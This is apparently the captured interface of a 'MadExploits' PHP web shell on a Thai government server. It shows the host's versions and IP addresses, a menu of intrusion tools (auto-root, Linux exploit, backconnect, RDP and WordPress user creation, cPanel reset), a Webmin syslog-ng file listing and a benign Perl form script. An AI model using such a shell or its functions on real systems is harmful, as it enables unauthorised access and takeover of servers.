Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
syslog-ng /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
389
B
-rw-r--r--
apply.cgi
202
B
-rwxr-xr-x
backup_config.pl
617
B
-rwxr-xr-x
config
189
B
-rw-r--r--
config-Amazon-Linux-2-ALL
187
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
187
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
187
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
187
B
-rw-r--r--
config-debian-linux
195
B
-rw-r--r--
config-freebsd
224
B
-rw-r--r--
config-gentoo-linux
210
B
-rw-r--r--
config-openmamba-linux
185
B
-rw-r--r--
config-redhat-linux-12.0-23.0
195
B
-rw-r--r--
config-redhat-linux-24.0-ALL
175
B
-rw-r--r--
config-solaris
196
B
-rw-r--r--
config-suse-linux
127
B
-rw-r--r--
config-syno-linux
121
B
-rw-r--r--
config.info
575
B
-rw-r--r--
config.info.ca
665
B
-rw-r--r--
config.info.ca.UTF-8
673
B
-rw-r--r--
config.info.de
699
B
-rw-r--r--
config.info.de.UTF-8
699
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.nl
651
B
-rw-r--r--
config.info.nl.UTF-8
651
B
-rw-r--r--
config.info.no
629
B
-rw-r--r--
config.info.no.UTF-8
629
B
-rw-r--r--
delete_destinations.cgi
710
B
-rwxr-xr-x
delete_filters.cgi
667
B
-rwxr-xr-x
delete_logs.cgi
549
B
-rwxr-xr-x
delete_sources.cgi
667
B
-rwxr-xr-x
edit_destination.cgi
6.76
KB
-rwxr-xr-x
edit_filter.cgi
4.24
KB
-rwxr-xr-x
edit_log.cgi
2.22
KB
-rwxr-xr-x
edit_source.cgi
9.59
KB
-rwxr-xr-x
index.cgi
1.63
KB
-rwxr-xr-x
install_check.pl
379
B
-rwxr-xr-x
list_destinations.cgi
1.88
KB
-rwxr-xr-x
list_filters.cgi
1.1
KB
-rwxr-xr-x
list_logs.cgi
1.23
KB
-rwxr-xr-x
list_options.cgi
5.63
KB
-rwxr-xr-x
list_sources.cgi
1.04
KB
-rwxr-xr-x
log_parser.pl
685
B
-rwxr-xr-x
module.info
148
B
-rw-r--r--
module.info.ca
130
B
-rw-r--r--
module.info.ca.UTF-8
142
B
-rw-r--r--
module.info.de
112
B
-rw-r--r--
module.info.de.UTF-8
124
B
-rw-r--r--
module.info.hu
36
B
-rw-r--r--
module.info.hu.UTF-8
44
B
-rw-r--r--
module.info.ms_MY
117
B
-rw-r--r--
module.info.ms_MY.UTF-8
129
B
-rw-r--r--
module.info.nl
23
B
-rw-r--r--
module.info.nl.UTF-8
29
B
-rw-r--r--
module.info.no
25
B
-rw-r--r--
module.info.no.UTF-8
31
B
-rw-r--r--
save_destination.cgi
4.99
KB
-rwxr-xr-x
save_filter.cgi
3.64
KB
-rwxr-xr-x
save_log.cgi
1.94
KB
-rwxr-xr-x
save_options.cgi
2.08
KB
-rwxr-xr-x
save_source.cgi
6.11
KB
-rwxr-xr-x
start.cgi
198
B
-rwxr-xr-x
stop.cgi
194
B
-rwxr-xr-x
syslog-ng-lib.pl
20.61
KB
-rwxr-xr-x
view_log.cgi
2.92
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit_destination.cgi
#!/usr/bin/perl # Show a form for editing or creating a log destination require './syslog-ng-lib.pl'; &ReadParse(); # Show title and get the destination $conf = &get_config(); if ($in{'new'}) { &ui_print_header(undef, $text{'destination_title1'}, ""); } else { &ui_print_header(undef, $text{'destination_title2'}, ""); @dests = &find("destination", $conf); ($dest) = grep { $_->{'value'} eq $in{'name'} } @dests; $dest || &error($text{'destination_egone'}); } # Form header print &ui_form_start("save_destination.cgi", "post"); print &ui_hidden("new", $in{'new'}),"\n"; print &ui_hidden("old", $in{'name'}),"\n"; print &ui_table_start($text{'destination_header'}, undef, 2); # Destination name print &ui_table_row($text{'destination_name'}, &ui_textbox("name", $dest->{'value'}, 20)); # Work out type $file = &find("file", $dest->{'members'}); $usertty = &find("usertty", $dest->{'members'}); $program = &find("program", $dest->{'members'}); $pipe = &find("pipe", $dest->{'members'}); $udp = &find("udp", $dest->{'members'}); $tcp = &find("tcp", $dest->{'members'}); $dgram = &find("unix-dgram", $dest->{'members'}); $stream = &find("unix-stream", $dest->{'members'}); $type = $file ? 0 : $usertty ? 1 : $program ? 2 : $pipe ? 3 : $tcp ? 4 : $udp ? 5 : $dgram ? 6 : $stream ? 7 : 0; $dtable = "<table>\n"; # File destination if ($file) { $file_name = $file->{'value'}; $file_owner = &find_value("owner", $file->{'members'}); $file_group = &find_value("group", $file->{'members'}); $file_perm = &find_value("perm", $file->{'members'}); $file_create_dirs = &find_value("create_dirs", $file->{'members'}); $file_dir_perm = &find_value("dir_perm", $file->{'members'}); $file_fsync = &find_value("fsync", $file->{'members'}); $file_sync_freq = &find_value("sync_freq", $file->{'members'}); } $dtable .= "<tr> <td valign=top>".&ui_oneradio("type", 0, "<b>$text{'destinations_typef'}</b>", $type == 0)."</td> <td valign=top><table>\n"; $dtable .= "<tr> <td>$text{'destination_file'}</td> <td>". &ui_textbox("file_name", $file_name, 35)." ". &file_chooser_button("file_name")."</td> </tr>\n"; $dtable .= "<tr> <td>$text{'destination_owner'}</td> <td>". &ui_opt_textbox("file_owner", $file_owner, 15, $text{'default'})." ". &user_chooser_button("file_owner"). "</td> </tr>\n"; $dtable .= "<tr> <td>$text{'destination_group'}</td> <td>". &ui_opt_textbox("file_group", $file_group, 15, $text{'default'})." ". &group_chooser_button("file_owner"). "</td> </tr>\n"; $dtable .= "<tr> <td>$text{'destination_perm'}</td> <td>". &ui_opt_textbox("file_perm", $file_perm, 5, $text{'default'}). "</td> </tr>\n"; $dtable .= "<tr> <td>$text{'destination_create_dirs'}</td> <td>". &ui_radio("file_create_dirs", $file_create_dirs, [ [ 'yes', $text{'yes'} ], [ 'no', $text{'no'} ], [ '', $text{'default'} ] ]). "</td> </tr>\n"; $dtable .= "<tr> <td>$text{'destination_dir_perm'}</td> <td>". &ui_opt_textbox("file_dir_perm", $file_dir_perm, 5,$text{'default'}). "</td> </tr>\n"; $dtable .= "<tr> <td>$text{'destination_fsync'}</td> <td>". &ui_radio("file_fsync", $file_fsync, [ [ 'yes', $text{'yes'} ], [ 'no', $text{'no'} ], [ '', $text{'default'} ] ]). "</td> </tr>\n"; $dtable .= "<tr> <td>$text{'destination_sync_freq'}</td> <td>". &ui_opt_textbox("file_sync_freq", $file_sync_freq, 5, $text{'default'}). "</td> </tr>\n"; $dtable .= "</table></td> </tr>"; # User TTY destination if ($usertty) { $usertty_user = $usertty->{'value'}; } $dtable .= "<tr> <td valign=top>".&ui_oneradio("type", 1, "<b>$text{'destinations_typeu'}</b>", $type == 1)."</td> <td valign=top>\n"; $dtable .= &ui_opt_textbox("usertty_user", $usertty_user eq "*" ? undef : $usertty_user, 20, $text{'destinations_allusers'}, $text{'destination_users'})." ".&user_chooser_button("usertty_user", 1); $table .= "</td> </tr>"; # Program destination if ($program) { $program_prog = $program->{'value'}; } $dtable .= "<tr> <td valign=top>".&ui_oneradio("type", 2, "<b>$text{'destinations_typep'}</b>", $type == 2)."</td> <td valign=top>\n"; $dtable .= &ui_textbox("program_prog", $program_prog, 50); $table .= "</td> </tr>"; # Pipe destination if ($pipe) { $pipe_name = $pipe->{'value'}; } $dtable .= "<tr> <td valign=top>".&ui_oneradio("type", 3, "<b>$text{'destinations_typei'}</b>", $type == 3)."</td> <td valign=top>\n"; $dtable .= &ui_textbox("pipe_name", $pipe_name, 30)." ". &file_chooser_button("pipe_name"); $dtable .= "</td> </tr>"; # TCP or UDP socket $net = $tcp || $udp; if ($net) { $net_host = $net->{'value'}; $net_port = &find_value("port", $net->{'members'}); $net_localip = &find_value("localip", $net->{'members'}); $net_localport = &find_value("localport", $net->{'members'}); } $dtable .= "<tr> <td valign=top>".&ui_oneradio("type", 4, "<b>$text{'destination_net'}</b>", $type == 4 || $type == 5)."</td> <td valign=top><table>\n"; $dtable .= "<tr> <td>$text{'destination_proto'}</td> ". "<td>".&ui_select("net_proto", $type == 5 ? "udp" : "tcp", [ [ "tcp", "TCP" ], [ "udp", "UDP" ] ])."</td> </tr>\n"; $dtable .= "<tr> <td>$text{'destination_host'}</td> ". "<td>".&ui_textbox("net_host", $net_host, 20)."</td> </tr>\n"; $dtable .= "<tr> <td>$text{'destination_port'}</td> ". "<td>".&ui_opt_textbox("net_port", $net_port, 5, "$text{'default'} (514)")."</td> </tr>\n"; $dtable .= "<tr> <td>$text{'destination_localip'}</td> ". "<td>".&ui_opt_textbox("net_localip", $net_localip, 15, $text{'default'})."</td> </tr>\n"; $dtable .= "<tr> <td>$text{'destination_localport'}</td> ". "<td>".&ui_opt_textbox("net_localport", $net_localport, 5, $text{'default'})."</td> </tr>\n"; $dtable .= "</table></td> </tr>"; # Datagram or stream socket $unix = $dgram || $stream; if ($unix) { $unix_name = $unix->{'value'}; } $dtable .= "<tr> <td valign=top>".&ui_oneradio("type", 6, "<b>$text{'destination_unix'}</b>", $type == 6 || $type == 7)."</td> <td valign=top><table>\n"; $dtable .= "<tr> <td>$text{'destination_utype'}</td> ". "<td>".&ui_select("unix_type", $type == 6 ? "unix-dgram" : "unix-stream", [ [ "unix-stream", $text{'destinations_types'} ], [ "unix-dgram", $text{'destinations_typeg'} ] ]). "</td> </tr>\n"; $dtable .= "<tr> <td>$text{'destination_socket'}</td> ". "<td>".&ui_textbox("unix_name", $unix_name, 30)."\n". &file_chooser_button("unix_name")."</td> </tr>\n"; $dtable .= "</table></td> </tr>"; # Actually show the destination $dtable .= "</table>\n"; print &ui_table_row($text{'destination_type'}, $dtable); # Form footer and buttons print &ui_table_end(); if ($in{'new'}) { print &ui_form_end([ [ "create", $text{'create'} ] ]); } else { print &ui_form_end([ [ "save", $text{'save'} ], [ "delete", $text{'delete'} ] ]); } &ui_print_footer("list_destinations.cgi", $text{'destinations_return'});
Close